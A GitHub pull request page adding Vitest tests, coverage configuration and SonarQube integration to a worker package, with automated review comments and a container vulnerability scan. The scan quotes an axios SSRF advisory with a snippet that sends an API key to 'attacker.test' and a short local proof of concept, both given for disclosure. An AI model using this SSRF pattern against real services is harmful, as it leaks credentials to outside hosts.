Skip to content

Conversation

@anatolyshipitz
Copy link
Collaborator

  • Added Vitest configuration for testing with coverage reporting.
  • Created initial test for the run function to ensure it returns true.
  • Updated package.json and package-lock.json to include necessary dependencies for testing.
  • Configured SonarQube to include JavaScript coverage reports and exclude test files from analysis.

These changes enhance the testing framework for the temporal worker, ensuring better code quality and coverage tracking.

- Added Vitest configuration for testing with coverage reporting.
- Created initial test for the `run` function to ensure it returns true.
- Updated `package.json` and `package-lock.json` to include necessary dependencies for testing.
- Configured SonarQube to include JavaScript coverage reports and exclude test files from analysis.

These changes enhance the testing framework for the temporal worker, ensuring better code quality and coverage tracking.
@anatolyshipitz anatolyshipitz requested a review from killev as a code owner May 19, 2025 14:01
@coderabbitai
Copy link

coderabbitai bot commented May 19, 2025

📝 Walkthrough

"""

Walkthrough

This update introduces a new Node.js package in workers/main with a simple asynchronous function and its test, configures Vitest for testing and coverage, and enhances the SonarQube integration in both the GitHub Actions workflow and project configuration to include coverage data and file exclusions.

Changes

File(s) Change Summary
.github/workflows/code-quality.yml Enhanced SonarQube job: added steps to install Node.js dependencies and run tests with coverage in workers/main before SonarQube scan.
sonar-project.properties Added properties to import JavaScript LCOV coverage from workers/main/coverage/lcov.info and to exclude src/__tests__ and src/dist from analysis.
workers/main/package.json New Node.js package definition for temporal-worker-main with scripts for testing and coverage, and relevant dev dependencies.
workers/main/src/index.ts Added and exported new async function run that returns true.
workers/main/src/__tests__/index.test.ts New test file for run function using Vitest, asserting it resolves to true.
workers/main/vitest.config.ts New Vitest configuration: sets up test environment, coverage collection (V8, lcov), and coverage thresholds.

Sequence Diagram(s)

sequenceDiagram
    participant GitHub Actions
    participant Node.js (workers/main)
    participant SonarQube

    GitHub Actions->>Node.js (workers/main): Install dependencies (npm ci)
    GitHub Actions->>Node.js (workers/main): Run tests with coverage (npm run coverage)
    Node.js (workers/main)->>Node.js (workers/main): Generate coverage report (lcov.info)
    GitHub Actions->>SonarQube: Run SonarQube scan (importing coverage and applying exclusions)
Loading

Possibly related PRs

Suggested reviewers

  • DenisChistyakov
    """

Note

⚡️ AI Code Reviews for VS Code, Cursor, Windsurf

CodeRabbit now has a plugin for VS Code, Cursor and Windsurf. This brings AI code reviews directly in the code editor. Each commit is reviewed immediately, finding bugs before the PR is raised. Seamless context handoff to your AI code agent ensures that you can easily incorporate review feedback.
Learn more here.


Note

⚡️ Faster reviews with caching

CodeRabbit now supports caching for code and dependencies, helping speed up reviews. This means quicker feedback, reduced wait times, and a smoother review experience overall. Cached data is encrypted and stored securely. This feature will be automatically enabled for all accounts on May 16th. To opt out, configure Review - Disable Cache at either the organization or repository level. If you prefer to disable all data retention across your organization, simply turn off the Data Retention setting under your Organization Settings.
Enjoy the performance boost—your workflow just got faster.


📜 Recent review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 075310a and 96dd98c.

⛔ Files ignored due to path filters (1)
  • workers/main/package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (3)
  • workers/main/package.json (1 hunks)
  • workers/main/src/__tests__/index.test.ts (1 hunks)
  • workers/main/src/index.ts (1 hunks)
🚧 Files skipped from review as they are similar to previous changes (3)
  • workers/main/src/tests/index.test.ts
  • workers/main/src/index.ts
  • workers/main/package.json
⏰ Context from checks skipped due to timeout of 90000ms (1)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
✨ Finishing Touches
  • 📝 Generate Docstrings

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share
🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>, please review it.
    • Explain this complex logic.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai explain this code block.
    • @coderabbitai modularize this function.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
    • @coderabbitai read src/utils.ts and explain its main purpose.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
    • @coderabbitai help me debug CodeRabbit configuration file.

Support

Need help? Create a ticket on our support page for assistance with any issues or questions.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai generate docstrings to generate docstrings for this PR.
  • @coderabbitai generate sequence diagram to generate a sequence diagram of the changes in this PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

@github-actions
Copy link

github-actions bot commented May 19, 2025

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:00f0aff67492700391e8439dcf2afc1a9062e155537ac4aa76185c6b809b3131
vulnerabilitiescritical: 1 high: 4 medium: 0 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 0
critical: 1 high: 0 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/stdlib@1.24.0

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.018%
EPSS Percentile3rd percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/semver@5.3.0

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.230%
EPSS Percentile46th percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/axios@1.7.4

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.021%
EPSS Percentile4th percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/cross-spawn@7.0.3

high 7.5: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.132%
EPSS Percentile34th percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/pdfjs-dist@2.16.105

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score13.642%
EPSS Percentile94th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

…index

- Added a newline at the end of the vitest.config.ts file to adhere to best practices.
- Added a newline at the end of the index.ts file to ensure proper file termination.

These changes improve code quality and maintain consistency across files.
- Added resolved URLs and integrity hashes for various dependencies in package-lock.json to ensure consistent installations.
- Removed unnecessary nested dependencies for improved clarity and maintenance.

These changes enhance the reliability of package installations and maintain consistency across environments.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🧹 Nitpick comments (6)
workers/main/package.json (1)

13-15: Consider consistent version pinning strategy

Some dependencies use fixed versions (vitest, @vitest/coverage-v8) while others use caret ranges (^). Consider adopting a consistent versioning strategy across all dependencies to ensure predictable builds.

-    "ts-node": "^10.9.1",
-    "typescript": "^5.0.0",
+    "ts-node": "10.9.1",
+    "typescript": "5.0.0",
workers/main/src/__tests__/index.test.ts (1)

4-8: Consider adding test documentation

As this is the first test in a new testing infrastructure, consider adding a brief comment explaining the purpose of the run function and what specifically this test is verifying.

 describe('run', () => {
+  // Verifies that the worker's main entry point function resolves correctly
   it('should return true', async () => {
     await expect(run()).resolves.toBe(true);
   });
 });
.github/workflows/code-quality.yml (1)

28-31: Consider adding Node.js setup and dependency caching

The implementation correctly adds steps to install dependencies and run tests with coverage. However, consider:

  1. Adding a setup-node step to ensure a consistent Node.js version
  2. Implementing dependency caching to speed up the workflow
  3. Setting appropriate error handling for the test step
+      - name: Set up Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version: '18'
+          cache: 'npm'
+          cache-dependency-path: 'workers/main/package-lock.json'
       - name: Install dependencies
         run: cd workers/main && npm ci
       - name: Run tests with coverage
-        run: cd workers/main && npm run coverage
+        run: cd workers/main && npm run coverage
+        continue-on-error: false
sonar-project.properties (1)

4-4: Scope exclusion patterns narrowly
The exclusions **/src/__tests__/**,**/src/dist/** will apply globally to any src directories in the repo. If the intent is to ignore only the tests and build artifacts for the workers/main package, consider more specific patterns, e.g.:

sonar.exclusions=workers/main/src/__tests__/**,workers/main/src/dist/**
workers/main/vitest.config.ts (2)

8-16: Validate coverage include/exclude patterns
Coverage is configured with all: true, include: ['src/**/*.ts'], and excludes src/__tests__/** and src/dist/**. Ensure these globs match your project layout (e.g., if compiled output lives in dist/ at the project root, you may need to adjust the exclude pattern to dist/**).


11-12: Beware of full-file coverage enforcement
Enabling all: true means untested files under src will count toward overall coverage. If you prefer to enforce metrics only on exercised modules, consider disabling all or narrowing the include patterns.

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between fc48181 and 5ef9232.

⛔ Files ignored due to path filters (1)
  • workers/main/package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (6)
  • .github/workflows/code-quality.yml (1 hunks)
  • sonar-project.properties (1 hunks)
  • workers/main/package.json (1 hunks)
  • workers/main/src/__tests__/index.test.ts (1 hunks)
  • workers/main/src/index.ts (1 hunks)
  • workers/main/vitest.config.ts (1 hunks)
🧰 Additional context used
🧬 Code Graph Analysis (1)
workers/main/src/__tests__/index.test.ts (1)
workers/main/src/index.ts (1)
  • run (1-3)
🔇 Additional comments (6)
workers/main/package.json (1)

9-17:

Details

✅ Verification successful

Verify package dependencies are complete

The package only includes development dependencies. If this is a worker package that needs to run in production, you might need to add runtime dependencies like the Temporal SDK client.


🏁 Script executed:

#!/bin/bash
# Check if there are imports in the source files that require external packages
cd workers/main
grep -r "from '[^\.][^\/]" --include="*.ts" src/ | grep -v "vitest"

Length of output: 88


🏁 Script executed:

#!/bin/bash
# Re-run import scan excluding all relative paths to catch any runtime dependencies
cd workers/main

echo "Checking for external ES module imports in TS files..."
grep -R "import .* from ['\"][^\.\/]" --include="*.ts" -n src/ || echo "No external imports found via import statements."

echo "Checking for external CommonJS requires in TS files..."
grep -R "require(['\"][^\.\/]" --include="*.ts" -n src/ || echo "No external requires found."

Length of output: 523


No external runtime dependencies detected; devDependencies only is correct

A scan of all .ts files (excluding tests) found no external ES module imports or CommonJS requires—only the vitest import in your tests. Since there are no runtime imports in use, keeping everything under devDependencies is appropriate here.

workers/main/src/__tests__/index.test.ts (1)

1-8: Good initial test implementation

The test correctly verifies the current behavior of the run function. As the function implementation grows in complexity, consider expanding these tests accordingly.

.github/workflows/code-quality.yml (1)

28-31:

Details

✅ Verification successful

Verify SonarQube configuration for coverage reports

The workflow now runs tests with coverage, but you should verify that SonarQube is correctly configured to import this coverage data. Make sure the sonar-project.properties file includes the JavaScript coverage report path.


🏁 Script executed:

#!/bin/bash
# Check if sonar-project.properties file properly includes the JavaScript coverage report path
grep -i "sonar.javascript.lcov.reportPaths" sonar-project.properties || 
echo "Coverage report path not configured in sonar-project.properties"

Length of output: 134


SonarQube coverage report path is correctly configured

The sonar-project.properties file already includes:

sonar.javascript.lcov.reportPaths=workers/main/coverage/lcov.info

No further changes are needed to ensure coverage reports are imported.

sonar-project.properties (1)

3-3: Confirm LCOV report path
The property sonar.javascript.lcov.reportPaths=workers/main/coverage/lcov.info should point to where Vitest emits the LCOV report. Please verify that running npm run coverage in workers/main actually generates coverage/lcov.info at this relative path before the SonarQube scan.

workers/main/vitest.config.ts (2)

1-7: Approve core test configuration
The Vitest setup—including globals: true, the Node.js environment, and the explicit include glob—correctly targets the TypeScript tests under src/__tests__.


17-22: Approve coverage thresholds
Defining 80% minimum for statements, branches, functions, and lines establishes a strong baseline. Make sure your CI command (vitest --coverage) is set to fail the build when thresholds aren’t met.

- Updated the `@types/node` dependency version in both `package.json` and `package-lock.json` to ensure compatibility and improved performance.
- Updated the `undici-types` dependency version in `package-lock.json` for better stability.
- Added documentation comments in `index.ts` to clarify the purpose and return type of the `run` function.

These changes improve dependency management and enhance code clarity through better documentation.
coderabbitai[bot]
coderabbitai bot previously approved these changes May 19, 2025
- Updated TypeScript version from `^5.0.0` to `5.8.3` in both `package.json` and `package-lock.json` for better performance and compatibility.
- Updated the version of `@vitest/pretty-format` from `3.1.3` to `3.1.4` in `package-lock.json` to ensure the latest features and fixes are included.
- Modified the import statement in the test file `index.test.ts` for consistency and clarity.

These changes enhance the development environment by ensuring up-to-date dependencies and improving code readability in tests.
@sonarqubecloud
Copy link

Copy link
Contributor

@killev killev left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM, Approved

@killev killev self-requested a review May 20, 2025 20:37
@killev killev merged commit 0facab0 into main May 20, 2025
11 checks passed
@killev killev deleted the feature/64211-temporal-worker-tests branch May 20, 2025 20:37
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants